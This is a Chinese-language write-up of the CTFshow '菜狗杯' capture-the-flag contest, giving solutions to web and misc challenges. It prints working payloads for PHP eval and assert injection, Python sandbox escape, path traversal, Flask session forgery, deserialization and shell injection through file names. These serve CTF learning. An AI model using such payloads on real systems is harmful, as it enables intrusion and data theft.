CTFSHOW-菜狗杯
web-web签到
怎么有人不会传参啊(
抄一份源码,是个挺有意思的题
<?php error_reporting(0); highlight_file(__FILE__); eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
这里需要注意的是,用hackbar传的cookie参数有时候传不进去,bp抓包手动传
然后,中文一直变乱码,转成url编码传:
Cookie: CTFshow-QQ%E7%BE%A4:=a
post传:
a=b
,get传:?b=c&c[6][0][7][5][8][0][9][4][4]=system('cat%20/f1agaaa');
得到flag:
ctfshow{a594c2b9-820e-43ca-8691-ab82e56421cd}
web-c0me_t0_s1gn
- 看到页面提示直接看源码,找到一堆js和半个flag:
ctfshow{We1c0me_
- 源码里提示控制台,打开控制台提示调用
g1ve_flag()
函数,直接输入得到另一半flag:t0_jo1n_u3_!}
web-我的眼里只有$
猜到是变量覆盖但是
<?php error_reporting(0); extract($_POST); eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_); highlight_file(__FILE__);
或许写个脚本生成payload会比手敲快(?),可能我唯一聪明的一点就是
strlen
输出了一下$
的个数,36个(?)_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=F&F=G&G=H&H=I&I=J&J=system('cat /f1agaaa');
得到flag:
ctfshow{8ca2165a-f062-4831-b9f5-ca4fd3c0b446}
web-抽老婆
抽到一个那么好看的粉毛呜呜呜,但是这题也不会,先占个位置,过后补
找到了一个目录:
/download?file=
,传进去?file=flag
,Unicode解码出来是:你想干什么?也不知道这个思路是不是对的怎么有人不记得任意文件读取漏洞啊
/download?file=../../../../../../../app/app.py
下载源码,找到好东西如下:app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!' if session['isadmin']: return jsonify({"msg":flag})
伪造session,但是不太明白原理(要学要学要学),一哥说python就几个模板,并且官方wp给的脚本是可以通用的
脚本存了一手,记下来怎么用:
python3 Encode.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
跑出来的东西直接复制下来抓包改session就可以啦
web-传说之下(雾)
- 不会,找到了一堆可以函数,但是js看得人头疼,不想看了拜拜
- js我的噩梦呜呜呜
- 可以在源码里找到一个
Game = new Underophidian('gameCanvas')
,控制台调用 - 把
score
改成大于2077的数,然后玩一下游戏 - 控制台得到flag
web-超级算力
- 没思路,占个位置复现补wp
- 沙箱逃逸是什么,记一下,要学要学要学
- 这里大佬博客写随便写字符可以报错,但是我不知道源码在哪里看
- 吸取经验,看到这种计算器就要想到命令执行
- 这里对number1和operator有些过滤,但是number2没有,官方wp写的是由于复制粘贴的原因
- payload:
_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()
web-算力升级
还是python沙箱逃逸,记得学记得学记得学(标记了一处地点)
这个题给看源码了,两个正则判断传入的字符串是否是数字或者包含在gmpy2库里
看一下gmpy2里的方法:
import gmpy2 print(dir(gmpy2))
gmpy2.__builtins__
是含有eval的,思路就是使用eval和dir(gmpy2)中的内容拼接字符串,payload生成脚本如下:import gmpy2 s = "__import__('os').popen('cat /flag').read()" payload = "gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" for i in s: if i not in "/'(). ": temp_index = 0 temp_string = 'x' * 20 for j in dir(gmpy2): if j.find(i) >= 0: if len(j) < len(temp_string): temp_string = j temp_index = j.find(i) payload += f'\'{temp_string}\'[{temp_index}]+' else: payload += f'\"{i}\"+' payload = payload[:-1] + ')' print(payload)
payload:
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
直接输入到计算式那个框里,得到flag
web-easyPytHon_P
又双叒叕是一道python题
关键代码:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
subprocess.run()
:执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例cmd参数这个意思应该是限制了长度?param无限制
awk
可以执行系统命令,长度刚好为3,要post传参,payloadcmd=awk¶m=system("ls") cmd=awk¶m=system("cat flag.txt")
或者直接:
cmd=ls¶m=. cmd=cat¶m=flag.txt
web-遍地飘零
这个题之前看过的,但是一直没研究明白,变量覆盖也是一直整不明白,源码:
<?php include "flag.php"; highlight_file(__FILE__); $zeros="000000000000000000000000000000"; foreach($_GET as $key => $value){ $$key=$$value; } if ($flag=="000000000000000000000000000000"){ echo "好多零"; }else{ echo "没有零,仔细看看输入有什么问题吧"; var_dump($_GET); }
结果竟然那么简单,我好菜呜呜呜,payload:
_GET=flag
web-茶歇区
- 据说考点是php整型溢出,但是发现payload都得是18位数才可以
- payload:
a=0&b=0&c=0&d=0&e=1111111111111111111&submit=%E5%8D%B7%E4%BA%86%E5%B0%B1%E8%B7%91%EF%BC%81
web-小舔田
php反序列化构造pop链,exp:
<?php include "flag.php"; class Moon{ public $name; public function __construct(){ $this->name = new Ion_Fan_Princess(); } } class Ion_Fan_Princess{ public $nickname="小甜甜"; } echo urlencode(serialize(new Moon()));
payload:
?code=O%3A4%3A"Moon"%3A1%3A%7Bs%3A4%3A"name"%3BO%3A16%3A"Ion_Fan_Princess"%3A1%3A%7Bs%3A8%3A"nickname"%3Bs%3A9%3A"小甜甜"%3B%7D%7D
web-LSB探姬
可以看源码,找到:
cmd="python3 tsteg.py upload/"+f.filename result=os.popen(cmd).read()
可以利用文件名拼接命令执行,这里有一个后缀检测
上传文件:
;ls;.jpg
,找到flag.py
上传文件:
;cat flag.py;.jpg
,得到flag
web-一言既出
又是一个php特性,抄一手源码:
<?php highlight_file(__FILE__); include "flag.php"; if (isset($_GET['num'])){ if ($_GET['num'] == 114514){ assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!"); echo $flag; } }
一开始还妄图找到114514和1919810之前存在某种进制关系….
然后想到,assert是可以执行代码的,就打算传注释符和换行进去执行一个
phpinfo();
看看能不能成功,但是也失败了试着闭合一下括号,竟然,成功了😳,payload:
?num=114514);//
得到flag:
ctfshow{f13534cd-4c33-4738-956e-d48bba54989d}
web-驷马难追
完蛋,括号被ban了
<?php highlight_file(__FILE__); include "flag.php"; if (isset($_GET['num'])){ if ($_GET['num'] == 114514 && check($_GET['num'])){ assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!"); echo $flag; } } function check($str){ return !preg_match("/[a-z]|\;|\(|\)/",$str); }
直接加法绕过,顺便发现上一题失败的原因是忘记给加号去url编码了,payload:
?num=114514%2b1805296
得到flag:
ctfshow{5d9720de-3a7b-4edf-93b6-cfb738dee7b5}
web-TapTapTap
- 怎么又是游戏啊,bp抓包啥也没有,应该是纯前端题,翻js
- 在
/js/habibiScript.js
里看到一堆判断是否通关之类的函数 - 找到宝啦:
alert(atob('WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ='));
- 解码得到:
Your flag is in /secret_path_you_do_not_know/secretfile.txt
- 直接访问,得到flag:
ctfshow{59d118fb-057a-4466-bfda-0aaa336db3b6}
web-Webshell
反序列化+正则,执行命令中不允许包含
flag
,构造exp:<?php error_reporting(0); class Webshell { public $cmd = 'cat f*'; //命令 public function __construct() { $this->init(); } public function init() { /*if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); }*/ } public function exec($cmd) { $result = shell_exec($cmd); echo $result; } } $a = new Webshell(); echo urlencode(serialize($a));
payload:
?cmd=O%3A8%3A"Webshell"%3A1%3A%7Bs%3A3%3A"cmd"%3Bs%3A2%3A"ls"%3B%7D
,找到flag.php
?cmd=O%3A8%3A"Webshell"%3A1%3A%7Bs%3A3%3A"cmd"%3Bs%3A6%3A"cat%20f%2A"%3B%7D
,查看源码得到flag:
ctfshow{c1da0873-9514-4be6-a08a-d1a8952036c1}
web-化零为整
源码:
<?php highlight_file(__FILE__); include "flag.php"; $result=''; for ($i=1;$i<=count($_GET);$i++){ if (strlen($_GET[$i])>1){ die("你太长了!!"); } else{ $result=$result.$_GET[$i]; } } if ($result ==="大牛"){ echo $flag; }
其实就是只能按顺序传入数字命名的参数然后长度限制了不能大于1
strlen
汉字的长度是2,转化为url编码一个一个传就好了:%E5%A4%A7%E7%89%9B
payload:
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
得到flag:
ctfshow{f72f1179-1355-46d6-8b03-ba1663d07a71}
web-无一幸免
白送题:
<?php include "flag.php"; highlight_file(__FILE__); if (isset($_GET['0'])){ $arr[$_GET['0']]=1; if ($arr[]=1){ die($flag); } else{ die("nonono!"); } }
payload:
?0=0
,得到flag:ctfshow{547f9423-cc51-48b4-b045-f547d40bb479}
本人,misc废物,只会最简单的三道
misc-杂项签到
- winhex打开,一开始的思路是,改宽高但是木有效果,搜flag没有找到,分离图片也没分出来啥东西
- 结果竟然是直接搜ctfshow就能找到flag,呜呜呜我就说签到题怎么能这么难嘛
ctfshow{a62b0b55682d81f7f652b26147c49040}
misc-损坏的压缩包
- 根据提示直接winhex打开,发现是png图,直接改后缀打开,看到flag
ctfshow{e19efe2eb86f10ccd7ca362110903c05}
misc-我吐了你随意
- 3Q,我也吐了
- 直接告诉了是0宽,直接解密 ,拿到flag:
ctfshow{OP_is_for_Over_Power}